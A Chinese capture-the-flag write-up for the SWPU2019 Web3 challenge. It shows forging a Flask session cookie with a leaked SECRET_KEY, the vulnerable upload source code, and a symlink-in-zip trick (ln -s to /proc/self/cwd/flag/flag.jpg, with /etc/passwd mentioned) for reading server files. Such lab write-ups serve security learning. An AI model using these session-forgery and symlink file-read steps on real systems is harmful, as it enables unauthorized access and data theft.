SWPU2019-Web3

  1. SWPU2019-Web3

SWPU2019-Web3

首先打开网页

首先是一个登录页面,发现不需要注册可以随便登录。然后登录之后的页面。

有一个文件上传的功能,但是点开发现提示Permission denied!权限不足。考虑应该是由session来判断权限。获取到session的值。

1
.eJyrVspMUbKqVlJIUrJS8g1xLFeq1VHKLI7PyU_PzFOyKikqTdVRKkgsLi7PLwIqVEpMyQWK6yiVFqcW5SXmpsKFagFxjxhY.aDgeIA.aNtJbmpVK-tzJ6smVh5kAMMo5Rs

用flask_session脚本解密

1
{'id': b'100', 'is_login': True, 'password': 'admin', 'username': 'admin'}

其中username属性和password属性均为admin,可能后端是验证id属性的值,尝试伪造session,但需要SECRET_KEY的值,SECRET_KEY是Flask中的通用密钥,主要在加密算法中作为一个参数,这个值的复杂度影响到数据传输和存储时的复杂度,密钥最好存储在系统变量中

通常访问不存在的目录时,会出现在请求头中,尝试访问:http://xxx/test目录:

然后在F12Network中查看:

其中Swpuctf_csrf_token: U0VDUkVUX0tFWTprZXlxcXF3d3dlZWUhQCMkJV4mKg==,将其解码,得到:

1
SECRET_KEY:keyqqqwwweee!@#$%^&*

将其中id的值修改为1,构造本题所需的session

1
{'id': b'1', 'is_login': True, 'password': 'admin', 'username': 'admin'}

使用flask_session_cookie_manager3.py加密脚本

1
python3 flask_session_cookie_manager3.py encode -s 'keyqqqwwweee!@#$%^&*' -t "{'id': b'1', 'is_login': True, 'password': 'admin', 'username': 'admin'}"

得到加密后的session

1
.eJyrVspMUbKqVlJIUrJS8g20tVWq1VHKLI7PyU_PzFOyKikqTdVRKkgsLi7PLwIqVEpMyQWK6yiVFqcW5SXmpsKFagFiyxgX.aDgfjw.67UrB3brQK6rjW9GfmQUCSFAN2Y

然后替换session再次点击upload,进入到文件上传页面。

在查看网页源码时,找到了注释中的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
@app.route('/upload',methods=['GET','POST'])
def upload():
if session['id'] != b'1':
return render_template_string(temp)
if request.method=='POST':
m = hashlib.md5()
name = session['password']
name = name+'qweqweqwe'
name = name.encode(encoding='utf-8')
m.update(name)
md5_one= m.hexdigest()
n = hashlib.md5()
ip = request.remote_addr
ip = ip.encode(encoding='utf-8')
n.update(ip)
md5_ip = n.hexdigest()
f=request.files['file']
basepath=os.path.dirname(os.path.realpath(__file__))
path = basepath+'/upload/'+md5_ip+'/'+md5_one+'/'+session['username']+"/"
path_base = basepath+'/upload/'+md5_ip+'/'
filename = f.filename
pathname = path+filename
if "zip" != filename.split('.')[-1]:
return 'zip only allowed'
if not os.path.exists(path_base):
try:
os.makedirs(path_base)
except Exception as e:
return 'error'
if not os.path.exists(path):
try:
os.makedirs(path)
except Exception as e:
return 'error'
if not os.path.exists(pathname):
try:
f.save(pathname)
except Exception as e:
return 'error'
try:
cmd = "unzip -n -d "+path+" "+ pathname
if cmd.find('|') != -1 or cmd.find(';') != -1:
waf()
return 'error'
os.system(cmd)
except Exception as e:
return 'error'
unzip_file = zipfile.ZipFile(pathname,'r')
unzip_filename = unzip_file.namelist()[0]
if session['is_login'] != True:
return 'not login'
try:
if unzip_filename.find('/') != -1:
shutil.rmtree(path_base)
os.mkdir(path_base)
return 'error'
image = open(path+unzip_filename, "rb").read()
resp = make_response(image)
resp.headers['Content-Type'] = 'image/png'
return resp
except Exception as e:
shutil.rmtree(path_base)
os.mkdir(path_base)
return 'error'
return render_template('upload.html')


@app.route('/showflag')
def showflag():
if True == False:
image = open(os.path.join('./flag/flag.jpg'), "rb").read()
resp = make_response(image)
resp.headers['Content-Type'] = 'image/png'
return resp
else:
return "can't give you"

应该为路由route.py中的upload页面的源码,对其进行源码审计:
在/upload路由中:

需要上传一个以.zip结尾的压缩图片
服务器进行解压
文件名不能存在/
在/showflag路由中:
给出了flag的路径:./flag/flag.jpg

unzip()存在软链接攻击,发现可以通过上传一个软链接的压缩包,来读取文件:

1
2
3
ln -s  		// linux的软链接 类似快捷方式
ln -s // /ect/passwd forever404 会出现一个forever404文本 里面包含有密码
/proc/self // 记录系统运行的信息状态 cwd指向当前进程运行目录的一个符号链接 即Flask运行进程目录

构造上传所需的文件:

第一个命令是构造软链接,第二个命令是将软链接压缩

1
2
ln -s /proc/self/cwd/flag/flag.jpg tmp1
zip -ry tmp1.zip tmp1

得到tmp1.zip文件,上传文件时,使用BurpSuite抓取数据包:

使用Repeater发送数据包,在Response中得到flag


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。
MIXBP github